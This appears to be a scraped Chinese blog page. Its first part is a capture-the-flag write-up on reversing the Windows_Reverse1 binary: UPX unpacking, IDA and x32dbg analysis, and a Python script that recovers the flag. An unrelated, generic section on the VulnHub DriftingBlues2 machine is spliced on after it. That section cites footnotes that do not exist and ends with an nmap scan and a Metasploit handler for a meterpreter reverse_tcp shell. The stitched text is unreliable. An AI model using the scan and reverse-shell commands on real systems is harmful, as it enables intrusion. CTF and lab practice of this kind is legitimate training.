攻防世界 Windows_Reverse1

本文详细介绍了如何通过逆向工程分析.exe文件,从使用ExeinfoPE查看文件信息,到利用upx脱壳,再到IDA静态分析,发现关键函数sub_401000的解密逻辑。通过对汇编代码的解析,作者构造了解密脚本,最终得到解密后的flag。过程中涉及ASLR、010Editor、x32dbg等工具的使用,展示了逆向工程在软件分析中的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

准备

环境:Windows10

工具:ExeinfoPE、upx、IDA、x32dbg、010Editor

开始

附件是.exe文件,使用ExeinfoPE查看文件信息

在这里插入图片描述

能看出来此文件被upx加了壳。

使用upx脱壳

在这里插入图片描述

将脱壳后的文件放入IDA静态分析

main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+4h] [ebp-804h] BYREF
  char v5[1023]; // [esp+5h] [ebp-803h] BYREF
  char v6; // [esp+404h] [ebp-404h] BYREF
  char v7[1023]; // [esp+405h] [ebp-403h] BYREF

  v6 = 0;
  memset(v7, 0, sizeof(v7));
  v4 = 0;
  memset(v5, 0, sizeof(v5));
  printf("please input code:");
  scanf("%s", &v6);
  sub_401000(&v6);
  if ( !strcmp(&v4, "DDCTF{reverseME}") )
    printf("You've got it!!%s\n", &v4);
  else
    printf("Try again later.\n");
  return 0;
}

逻辑分析,我们输入flag到v6中,然后v6经过sub_401000()函数操作后,比较v4和DDCTF{reverseME}是否相同,是则输入正确。

问题1:flag输入到了v6中,后来却用v4去比较。

sub_401000()函数:

unsigned int __cdecl sub_401000(const char *a1)
{
  _BYTE *v1; // ecx
  unsigned int v2; // edi
  unsigned int result; // eax
  const char *v4; // ebx

  v2 = 0;
  result = strlen(a1);
  if ( result )
  {
    v4 = (const char *)(a1 - v1);
    do
    {
      *v1 = byte_402FF8[(char)v1[(_DWORD)v4]];
      ++v2;
      ++v1;
      result = strlen(a1);
    }
    while ( v2 < result );
  }
  return result;
}

关键就在sub_401000()函数,第一句

_BYTE *v1; // ecx

查看汇编代码

在这里插入图片描述

将ecx中的数据压入了堆栈,再往前看,查看调用sub_401000()函数函数之前的最后一次对ecx的操作语句
在这里插入图片描述

结合v4、v5、v6、v7的地址

在这里插入图片描述

可以看出在sub_401000()函数中,v1就是main函数中的v4

下面这一句就将main函数里的v6和v4联系起来了,v6中的内容作变换之后的结果放入了v4中

*v1 = byte_402FF8[(char)v1[(_DWORD)v4]]; 
// v1[v4]=*(v1+v4)=*(v1+a1-v1)=*(a1)=a1[0]

查看数据byte_402FF8的内容

在这里插入图片描述

发现是不确定的,可能是要在程序运行过程中生成的。

之前用upx把文件脱壳过后,现在的文件是无法运行的(win7也一样),而在xp系统上可以,因为win10系统采用了地址随机化(aslr),需要手动修改。

使用010Editor打开

使用EXE.bt模板,找到

struct IMAGE_NT_HEADERS NTHeader->struct IMAGE_OPTIONAL_HEADER OptionalHeader

->struct DLL CHARACTERISTICS DllCharacteristics

修改WORD IMAGE DLLCHARACTERISTICS DYNAMIC BASE为0即可。

在这里插入图片描述

将文件放入x32dbg中调试,断点打到sub_401000()函数执行结束

在这里插入图片描述

运行,scanf时随便输入,遇到sub_401000()函数直接F8步过,运行到断点处

现在查看数据byte_402FF8的内容

在这里插入图片描述

复制下来

00 00 00 00 00 00 00 00 87 F6 DE 58 78 09 21 A7 FF FF FF FF FF FF FF FF FE FF FF FF 
01 00 00 00 7E 7D 7C 7B 7A 79 78 77 76 75 74 73 72 71 70 6F 6E 6D 6C 6B 6A 69 68 67 
66 65 64 63 62 61 60 5F 5E 5D 5C 5B 5A 59 58 57 56 55 54 53 52 51 50 4F 4E 4D 4C 4B 
4A 49 48 47 46 45 44 43 42 41 40 3F 3E 3D 3C 3B 3A 39 38 37 36 35 34 33 32 31 30 2F 
2E 2D 2C 2B 2A 29 28 27 26 25 24 23 22 21 20 00 01 00 00 00 80 1E 9F 00 C0 18 9F 00

根据变换过程写解密脚本

hex = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x87, 0xF6, 0xDE, 0x58, 0x78, 0x09, 0x21, 0xA7, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0x01, 0x00, 0x00, 0x00, 0x7E, 0x7D, 0x7C, 0x7B, 0x7A, 0x79, 0x78, 0x77, 0x76, 0x75, 0x74, 0x73, 0x72, 0x71, 0x70, 0x6F, 0x6E, 0x6D, 0x6C, 0x6B, 0x6A, 0x69, 0x68, 0x67, 0x66, 0x65, 0x64, 0x63, 0x62, 0x61, 0x60, 0x5F, 0x5E, 0x5D, 0x5C, 0x5B, 0x5A, 0x59,
       0x58, 0x57, 0x56, 0x55, 0x54, 0x53, 0x52, 0x51, 0x50, 0x4F, 0x4E, 0x4D, 0x4C, 0x4B, 0x4A, 0x49, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x40, 0x3F, 0x3E, 0x3D, 0x3C, 0x3B, 0x3A, 0x39, 0x38, 0x37, 0x36, 0x35, 0x34, 0x33, 0x32, 0x31, 0x30, 0x2F, 0x2E, 0x2D, 0x2C, 0x2B, 0x2A, 0x29, 0x28, 0x27, 0x26, 0x25, 0x24, 0x23, 0x22, 0x21, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x1E, 0x9F, 0x00, 0xC0, 0x18, 0x9F, 0x00]

s = 'DDCTF{reverseME}'
flag = ''
for i in range(len(s)):
    flag += chr(hex[ord(s[i])])
print('flag{'+flag+'}')

运行得flag

flag{ZZ[JX#,9(9,+9QY!}
### 关于VulnHub DriftingBlues2靶机详情 #### 靶机概述 DriftingBlues系列是VulnHub平台上提供给安全爱好者练习渗透测试技能的一组虚拟机镜像。这些靶机设计用于帮助用户提升其在网络攻防方面的能力,特别是针对Web应用的安全评估技巧。 对于特定的`DriftingBlues: 2`版本而言,此靶机旨在模拟真实世界中的信息系统环境,并设置了多个层次的任务来挑战玩家的技术水平[^4]。 #### 渗透测试流程 ##### 信息收集阶段 在这个过程中,首要任务是从外部视角了解目标系统的开放服务及其配置情况。通常采用的方法包括但不限于: - **主机发现**:通过网络扫描工具(如Nmap)识别活动主机并确定其IP地址范围。 - **端口和服务枚举**:进一步探测已知存活节点上的可用端口以及运行的服务类型和版本号。 由于`DriftingBlues: 2`的具体内部结构未完全公开,在实际操作前需自行探索更多细节以制定后续行动计划。 ##### 漏洞利用实践 一旦完成了初步的情报搜集工作,则可以根据所获数据选择合适的攻击向量实施入侵行为。例如,如果发现了某个存在已知漏洞的应用程序实例,则可考虑运用Metasploit Framework (MSF) 或其他自动化平台来进行针对性打击。 值得注意的是,在处理此类实验性质较强的项目时,建议遵循官方指南或社区分享的经验贴作为参考依据,以便更高效地完成整个过程[^5]。 ```bash # 使用Nmap进行基本的TCP SYN扫描 nmap -sS <target_ip> # 利用Metasploit加载exploit模块 use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST <your_local_IP> run ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值